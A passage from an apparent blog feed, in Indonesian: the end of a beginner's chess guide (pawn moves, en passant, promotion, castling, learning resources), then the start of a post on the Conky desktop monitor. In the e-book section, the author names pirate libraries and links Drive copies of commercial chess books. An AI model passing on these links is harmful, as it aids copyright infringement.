/&gt;&lt;figcaption&gt;Benteng (Rook)&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss21.CZ3Tn8ti_Z10X1ui.webp&quot; alt=&quot;Pion (Pawn)&quot; loading=&quot;lazy&quot; width=&quot;792&quot; height=&quot;792&quot; /&gt;&lt;figcaption&gt;Pion (Pawn)&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Jika ada buah catur lawan di petak-petak yang dilewati atau ditempati oleh buah catur utama, maka kita bisa memakan buah catur lawan tersebut. Khusus untuk pion, pion tidak bisa bergerak jika ada buah catur lawan di depannya (contohnya bisa dilihat pada bagian pion di tabel gambar di atas). Cara pion memakan buah catur lawan adalah dengan bergerak diagonal ke depan. Berikut contohnya.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss22.Bcbs1s-O_18nY3U.webp&quot; alt=&quot;Raja (King)&quot; loading=&quot;lazy&quot; width=&quot;796&quot; height=&quot;791&quot; /&gt;&lt;figcaption&gt;Raja (King)&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss23.CjJ1xqKP_Z1pScdX.webp&quot; alt=&quot;Menteri/Ratu (Queen)&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;792&quot; /&gt;&lt;figcaption&gt;Menteri/Ratu (Queen)&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss24.BJmrGdgv_Zeeyo4.webp&quot; alt=&quot;Gajah (Bishop)&quot; loading=&quot;lazy&quot; width=&quot;793&quot; height=&quot;789&quot; /&gt;&lt;figcaption&gt;Gajah (Bishop)&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss25.CWPhv5NA_ZJd1zW.webp&quot; alt=&quot;Kuda (Knight)&quot; loading=&quot;lazy&quot; width=&quot;791&quot; height=&quot;793&quot; /&gt;&lt;figcaption&gt;Kuda (Knight)&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss26.QLXLzNp4_1Qs1am.webp&quot; alt=&quot;Benteng (Rook)&quot; loading=&quot;lazy&quot; width=&quot;791&quot; height=&quot;789&quot; /&gt;&lt;figcaption&gt;Benteng (Rook)&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss27.CRDWe_19_1howa.webp&quot; alt=&quot;Pion (Pawn)&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;792&quot; /&gt;&lt;figcaption&gt;Pion (Pawn)&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Pada awal permainan, pion dapat melangkah dua petak dari petak dasarnya. Namun, setelah itu, cara jalan pion akan kembali normal, yaitu satu petak ke depan.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pion juga dapat melakukan &lt;a href=&quot;https://www.chess.com/id/terms/en-passant-catur&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;“En Passant”&lt;/strong&gt;&lt;/a&gt;, yaitu pergerakan memakan pion lawan yang berada di sebelahnya dengan cara bergerak diagonal ke depan.Syarat boleh terjadinya En Passant setidaknya ada 3, yaitu:&lt;br /&gt;
a. Pion yang akan melakukan en passant harus sudah melangkah tepat tiga baris untuk dapat melakukan ini.&lt;br /&gt;
b. Pion yang akan dimakan harus melangkah dua petak dalam satu kali langkah, dan berada tepat di sebelah pion yang akan memakannya.&lt;br /&gt;
c. Pertukaran en passant harus dilakukan segera ketika pion lawan telah melangkah. Jika pemain tidak melakukan en passant pada langkah itu, mereka tidak lagi dapat melakukannya pada langkah selanjutnya.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pion yang berhasil mencapai baris terakhir dalam papan (baris ke-8 untuk putih &amp;amp; baris ke-1 untuk hitam), dapat melakukan &lt;strong&gt;“Promosi”&lt;/strong&gt;. Promosi artinya pemain dapat mengganti pionnya tersebut dengan sebuah perwira, seperti Menteri, Bentang, Gajah, dan Kuda.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut adalah contoh untuk poin nomor 3, nomor 4, dan nomor 5:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss28.Yl3juAnG_1ETCrx.webp&quot; alt=&quot;Pion jalan 2 petak&quot; loading=&quot;lazy&quot; width=&quot;1250&quot; height=&quot;1250&quot; /&gt;&lt;figcaption&gt;Pion jalan 2 petak&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/gif1.DACc5xyP_yOz95.webp&quot; alt=&quot;En Passant&quot; loading=&quot;lazy&quot; width=&quot;1200&quot; height=&quot;1200&quot; /&gt;&lt;figcaption&gt;En Passant&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/gif5.CvQj4Nj3_Z1WVvOe.webp&quot; alt=&quot;Promosi Pion&quot; loading=&quot;lazy&quot; width=&quot;1200&quot; height=&quot;1200&quot; /&gt;&lt;figcaption&gt;Promosi Pion&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Raja dan Benteng bisa melakukan &lt;a href=&quot;https://www.chess.com/id/terms/rokade-dalam-catur&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;&quot;&quot;Rokade&quot;&quot;&lt;/strong&gt;&lt;/a&gt;. Rokade dapat dilakukan Raja dengan kedua Benteng, baik Benteng yang ada di sayap Raja (dinotasikan dengan &lt;strong&gt;O-O&lt;/strong&gt;), maupun Benteng yang ada di sayap Menteri (dinotasikan dengan &lt;strong&gt;O-O-O&lt;/strong&gt;). Rokade adalah pergerakan Raja dua petak ke sebelah kanan dan memindahkan Benteng ke sebelah kirinya (jika rokade ke sayap Raja), atau pergerakan Raja dua petak ke sebelah kiri dan memindahkan Benteng ke sebelah kanannya dengan tujuan untuk mengamankan Raja. Rokade dapat terjadi bila memenuhi setidaknya 4 syarat berikut:&lt;br /&gt;
a. Rokade hanya boleh dilakukan jika belum memindahkan Raja dan Benteng.&lt;br /&gt;
b. Tidak ada perwira diantara Raja dan Benteng yang akan rokade.&lt;br /&gt;
c. Raja tidak boleh dalam keadaan terkena Skak.&lt;br /&gt;
d. Petak yang akan dilewati atau ditempati Raja saat Rokade tidak sedang dikawal atau diserang oleh lawan.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Untuk memudahkan pemahaman tentang Rokade, berikut saya lampirkan contoh Rokade, baik contoh Rokade ke sayap Raja maupun Rokade ke sayap Menteri.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/gif2.ByNqtp-o_ZK6e8d.webp&quot; alt=&quot;Rokade (ke sayap Raja)&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;1080&quot; /&gt;&lt;figcaption&gt;Rokade (ke sayap Raja)&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/gif3.BQyHwYRV_1HppnR.webp&quot; alt=&quot;Rokade (ke sayap Menteri)&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;1080&quot; /&gt;&lt;figcaption&gt;Rokade (ke sayap Menteri)&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Selain itu, pada contoh di bawah saya juga melampirkan kondisi-kondisi dimana Raja tidak bisa melakukan Rokade.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss29.jrv5PMT7_23pQct.webp&quot; alt=&quot;Tidak bisa rokade (ke sayap Raja): karena petak yang akan dilewatinya untuk Rokade dijaga Gajah lawan.&quot; loading=&quot;lazy&quot; width=&quot;1100&quot; height=&quot;1100&quot; /&gt;&lt;figcaption&gt;Tidak bisa rokade (ke sayap Raja): karena petak yang akan dilewatinya untuk Rokade dijaga Gajah lawan.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss30.C00xMIF4_1vLyV3.webp&quot; alt=&quot;Tidak bisa rokade (ke sayap Menteri): karena petak yang akan ditempatinya setelah rokade dijaga Gajah lawan.&quot; loading=&quot;lazy&quot; width=&quot;752&quot; height=&quot;752&quot; /&gt;&lt;figcaption&gt;Tidak bisa rokade (ke sayap Menteri): karena petak yang akan ditempatinya setelah rokade dijaga Gajah lawan.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss31.yI8m_x7J_Z1EyJOy.webp&quot; alt=&quot;Tidak bisa rokade (ke sayap Menteri): karena sedang terkena Skak.&quot; loading=&quot;lazy&quot; width=&quot;752&quot; height=&quot;752&quot; /&gt;&lt;figcaption&gt;Tidak bisa rokade (ke sayap Menteri): karena sedang terkena Skak.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Referensi Belajar Catur&lt;a href=&quot;#referensi-belajar-catur&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Beberapa sumber yang bisa saya rekomendasikan untuk belajar catur tersedia dalam bentuk &lt;strong&gt;video&lt;/strong&gt;, &lt;strong&gt;buku digital (e-book)&lt;/strong&gt;, dan &lt;strong&gt;platform bermain catur&lt;/strong&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Video Youtube&lt;a href=&quot;#video-youtube&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sebetulnya, ada banyak sekali &lt;em&gt;channel&lt;/em&gt; Youtube catur yang dapat dijadikan referensi untuk belajar catur. Bahkan, saat ini, beberapa pemain top dunia ataupun pemain catur profesional lain seperti Magnus Carlsen dan Hikaru Nakamura juga memiliki &lt;em&gt;channel&lt;/em&gt; Youtube mereka sendiri sehingga kita bisa belajar juga dari permainan-permaian yang mereka bagikan di &lt;em&gt;channel&lt;/em&gt; Youtube mereka tersebut. Berikut adalah beberapa channel Youtube yang dapat dijadikan sumber atau referensi belajar catur, baik yang berbahasa Indonesia maupun yang berbahasa Inggris.&lt;/p&gt;



























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Nama Channel&lt;/th&gt;&lt;th&gt;Link Youtube&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;RL Chess (Indonesia)&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.youtube.com/@rlchess&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/@rlchess&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;Soy Dexque (Indonesia)&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.youtube.com/@soydexque&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/@soydexque&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;Narro Chess (Indonesia)&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.youtube.com/@NarroChess&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/@NarroChess&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;Catur Talk Indonesia (Indonesia)&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.youtube.com/@CaturTalkIndonesia&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/@CaturTalkIndonesia&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;Irene Sukandar (Indonesia)&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.youtube.com/@IreneSukandar&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/@IreneSukandar&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6&lt;/td&gt;&lt;td&gt;Legenda Catur Dunia (Indonesia)&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.youtube.com/@LegendaCaturDunia&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/@LegendaCaturDunia&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7&lt;/td&gt;&lt;td&gt;Gotham Chess&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.youtube.com/@GothamChess&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/@GothamChess&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;GM Hikaru&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.youtube.com/@GMHikaru&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/@GMHikaru&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9&lt;/td&gt;&lt;td&gt;Adagmator’s Chess Channel&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.youtube.com/@agadmator/&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/@agadmator/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;Remote Chess Academy&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.youtube.com/@GMIgorSmirnov&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/@GMIgorSmirnov&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Dan masih banyak lagi &lt;em&gt;channel-channel&lt;/em&gt; Youtube catur lainnya. Saya rasa saya haruskan cukupkan 10 ini saja dulu sebagai awalan. Selanjutnya, biarkan algoritma Youtube yang langsung memberikan rekomendasi video dan &lt;em&gt;channel&lt;/em&gt; Youtube catur lainnya… wkwkwk&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Buku Digital (E-Book)&lt;a href=&quot;#buku-digital-e-book&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;E-book atau buku digital sebetulnya juga banyak dan bisa didapatkan secara gratis di internet. Kalian bisa mengetikkan &lt;em&gt;keyword&lt;/em&gt; &lt;strong&gt;“chess pdf”&lt;/strong&gt; misalnya di situs pencarian (Google, dll), dan saya bisa pastikan akan muncul setidaknya satu atau dua pdf yang bisa dibaca dan diunduh secara &lt;em&gt;free&lt;/em&gt;. Selain itu, situs-situs perpustakaan digital (baik yang legal seperti perpustakaan digital di kampus maupun yang non-legal seperti z-lib dan lib-gen) juga pasti menyediakan buku catur. Berikut beberapa e-book catur yang bisa saya rekomendasikan.&lt;/p&gt;


























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Judul Buku&lt;/th&gt;&lt;th&gt;Author&lt;/th&gt;&lt;th&gt;Link&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;Chess Fundamentals&lt;/td&gt;&lt;td&gt;Jose R. Capablanca&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://drive.google.com/file/d/1IYn9zyvhZ-pYKel03IApsrCz73pMYm3S/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;pdf&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;The Complete Guide to Chess&lt;/td&gt;&lt;td&gt;Logan Donovan&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://drive.google.com/file/d/1cYfDS9bS78TNPE5d8oSJvXi7ZzdPXlS0/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;pdf&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;The Complete Manual of Positional Chess (V1)&lt;/td&gt;&lt;td&gt;Konstantin Sakaev &amp;amp; Konstantin Landa&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://drive.google.com/file/d/1QqMS2kGVK87pagW5SQ5FxpHDS1hSq6Lo/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;pdf&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;The Complete Manual of Positional Chess (V2)&lt;/td&gt;&lt;td&gt;Konstantin Sakaev &amp;amp; Konstantin Landa&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://drive.google.com/file/d/1sxxK6UaVV_v2tJ5KNVEK8RB5Jr5i5G7F/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;pdf&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;Improve Your Chess Pattern Recognition&lt;/td&gt;&lt;td&gt;Arthur Van De Oudeweetering&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://drive.google.com/file/d/1M2OBqNMJ_OQ2qDzdjsGA0fhLuCDwosvA/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;pdf&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6&lt;/td&gt;&lt;td&gt;Chess for Beginners&lt;/td&gt;&lt;td&gt;Drew Sleep &amp;amp; Adam Markiewicz&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://drive.google.com/file/d/15HZSQg-oqiHSawZBAD7lbvX4ZK6bB0lT/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;pdf&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7&lt;/td&gt;&lt;td&gt;303 Tricky Chess Tactics&lt;/td&gt;&lt;td&gt;Fred Wilson &amp;amp; Bruce Alberston&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://drive.google.com/file/d/1SScvrHCwV5kNRHpg5coSQvq2lTfvMWOk/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;pdf&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;1001 Chess Exercises for Beginners&lt;/td&gt;&lt;td&gt;Franco Masetti &amp;amp; Roberto Messa&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://drive.google.com/file/d/1ODf6i-WSqaiulz2Z_JUWEwvIrpa8Wq11/view?usp=sharing&quot; target=&quot;_blank&quot;&gt;pdf&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Kalau saya boleh pilihkan 1 buku yang paling mesti dibaca bagi pemula catur, saya akan rekomendasikan &lt;strong&gt;“&lt;em&gt;Chess for Beginners&lt;/em&gt; oleh Drew Sleep &amp;amp; Adam Markiewicz”&lt;/strong&gt;. Buku 130 halaman tersebut selain adalah buku yang relatif baru (karena dicetak tahun 2023), juga menyajikan ilustrasi yang menarik dan memanjakan mata. Benar-benar diciptakan khusus untuk menarik minat para pemula catur. Meskipun demikian, buku tersebut juga membahas semua jenis informasi catur yang komprehensif. Sebagai gambaran, berikut ini tangkapan layar bukunya:
&lt;img src=&quot;/_astro/ss37.BMhis75B_29Kqaz.webp&quot; alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Platform Catur Online&lt;a href=&quot;#platform-catur-online&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Belajar teori bermain catur dari menonton video atau membaca literatur catur tidaklah salah. Namun, akan lebih baik jika kita juga langsung mencoba memainkan catur. Sebab, dengan banyak berlatih catur dengan praktik langsung, kita akan lebih mudah mengenali kekuatan dan kelemahan kita sehingga kita bisa memprioritaskan hal yang perlu di-&lt;em&gt;improve&lt;/em&gt;. Sebagaimana kata pepatah, &lt;em&gt;&lt;strong&gt;“experience is the best teacher”&lt;/strong&gt;&lt;/em&gt;. Nah, saya punya 2 rekomendasi platform bermain dan belajar catur yang cukup bagus untuk mengasah maupun meningkatkan skill catur kita, yaitu &lt;a href=&quot;https://www.chess.com/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Chesscom&lt;/strong&gt;&lt;/a&gt; dan &lt;a href=&quot;https://lichess.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Lichess&lt;/strong&gt;&lt;/a&gt;. Di kedua platform catur online tersebut, kalian bisa mengasah skill catur dengan menyelesaikan &lt;em&gt;puzzle&lt;/em&gt; setiap hari.&lt;/p&gt;



















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Platform&lt;/th&gt;&lt;th&gt;Kelebihan&lt;/th&gt;&lt;th&gt;Kekurangan&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Chesscom&lt;/td&gt;&lt;td&gt;Punya banyak fitur belajar catur&lt;/td&gt;&lt;td&gt;Berbayar&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Lichess&lt;/td&gt;&lt;td&gt;Gratis&lt;/td&gt;&lt;td&gt;Fiturnya tidak sekaya Chesscom&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;a href=&quot;https://www.chess.com/puzzles/rated&quot; target=&quot;_blank&quot;&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss36.5w7vuWn-_Z1KccTw.webp&quot; alt=&quot;Chesscom&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; /&gt;&lt;figcaption&gt;Chesscom&lt;/figcaption&gt;&lt;/figure&gt;&lt;/a&gt;&lt;a href=&quot;https://lichess.org/training/daily&quot; target=&quot;_blank&quot;&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss35.DoAlMO4g_14l6fR.webp&quot; alt=&quot;Lichess&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; /&gt;&lt;figcaption&gt;Lichess&lt;/figcaption&gt;&lt;/figure&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;Okeeyy, sekian dulu pengelanan (singkat) tentang catur.&lt;br /&gt;
Semoga bisa dipahami ya!&lt;br /&gt;
Selamat belajar catur, dan …&lt;br /&gt;
Salam &lt;strong&gt;Gens Una Sumus&lt;/strong&gt;!!&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;🐧 This article is created with &lt;a href=&quot;https://archlinux.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;“Archlinux”&lt;/strong&gt;&lt;/a&gt; + &lt;a href=&quot;https://awesomewm.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;“AwesomeWM”&lt;/strong&gt;&lt;/a&gt; + &lt;a href=&quot;https://github.com/Manas140/dotfiles&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;“Manas dotfile”&lt;/strong&gt;&lt;/a&gt;:&lt;br /&gt;
&lt;img src=&quot;/_astro/ss34.Cro_GuYS_wYvSq.webp&quot; alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://id.wikipedia.org/wiki/Catur&quot; target=&quot;_blank&quot;&gt;https://id.wikipedia.org/wiki/Catur&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.detik.com/edu/detikpedia/d-6544556/siapa-penemu-catur-ini-sejarahnya&quot; target=&quot;_blank&quot;&gt;https://www.detik.com/edu/detikpedia/d-6544556/siapa-penemu-catur-ini-sejarahnya&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.chess.com/article/view/history-of-chess&quot; target=&quot;_blank&quot;&gt;https://www.chess.com/article/view/history-of-chess&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.fide.com/fide/about-fide&quot; target=&quot;_blank&quot;&gt;https://www.fide.com/fide/about-fide&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.chess.com/terms/elo-rating-chess&quot; target=&quot;_blank&quot;&gt;https://www.chess.com/terms/elo-rating-chess&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.chess.com/terms/chess-time-controls&quot; target=&quot;_blank&quot;&gt;https://www.chess.com/terms/chess-time-controls&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-6&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.chess.com/id/terms/catur#notation&quot; target=&quot;_blank&quot;&gt;https://www.chess.com/id/terms/catur#notation&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-7&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.chess.com/id/terms/nilai-buah-catur&quot; target=&quot;_blank&quot;&gt;https://www.chess.com/id/terms/nilai-buah-catur&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-8&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Enhancing Your Linux Desktop with Conky</title><link>https://shangdi.github.io/posts/tech/conky/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/conky/</guid><description>Conky is obviously not the acronym of poCOng piNKY, but a light-weight system monitor for X, Wayland, and other things.</description><pubDate>Sat, 20 Jul 2024 04:16:26 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Tentang&lt;a href=&quot;#tentang&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Conky, meskipun terdengar seperti singkatan “Pocong Pinky”, sebetulnya adalah program monitor sistem untuk linux desktop&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. Kalau merujuk pada repositori resminya di Github, Conky dinyatakan sebagai berikut:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Conky&lt;/strong&gt; &lt;em&gt;is a free, light-weight system monitor for X, that displays any kind of information on your desktop&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Jadi, dapat disimpulkan bahwa Conky pada dasarnya adalah sebuah program untuk menampilkan monitoring sistem di layar desktop. Apa saja “sistem” yang bisa ditampilkan oleh Conky? &lt;em&gt;Well&lt;/em&gt;, menurut definisi di atas, “&lt;em&gt;…that display any kind of information…&lt;/em&gt;”, artinya, informasi apapun dapat ditampilkan via Conky, mulai dari info terkait CPU, RAM, Disk, Date/Time, Weather, dan lain-lain.&lt;/p&gt;&lt;p&gt;Gambar pada cover artikel ini juga sebetulnya merupakan output dari program Conky yang menampilkan info tentang:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Tahun&lt;/li&gt;
&lt;li&gt;Hari&lt;/li&gt;
&lt;li&gt;Tanggal&lt;/li&gt;
&lt;li&gt;Bulan&lt;/li&gt;
&lt;li&gt;Jam&lt;/li&gt;
&lt;li&gt;Kota&lt;/li&gt;
&lt;li&gt;Cuaca (suhu dan kelembaban)&lt;/li&gt;
&lt;li&gt;Musik&lt;/li&gt;
&lt;li&gt;Sistem (CPU, RAM, DISK)&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Daripada penasaran terus, kita langsung ke praktik saja ya…&lt;/p&gt;&lt;/section&gt;
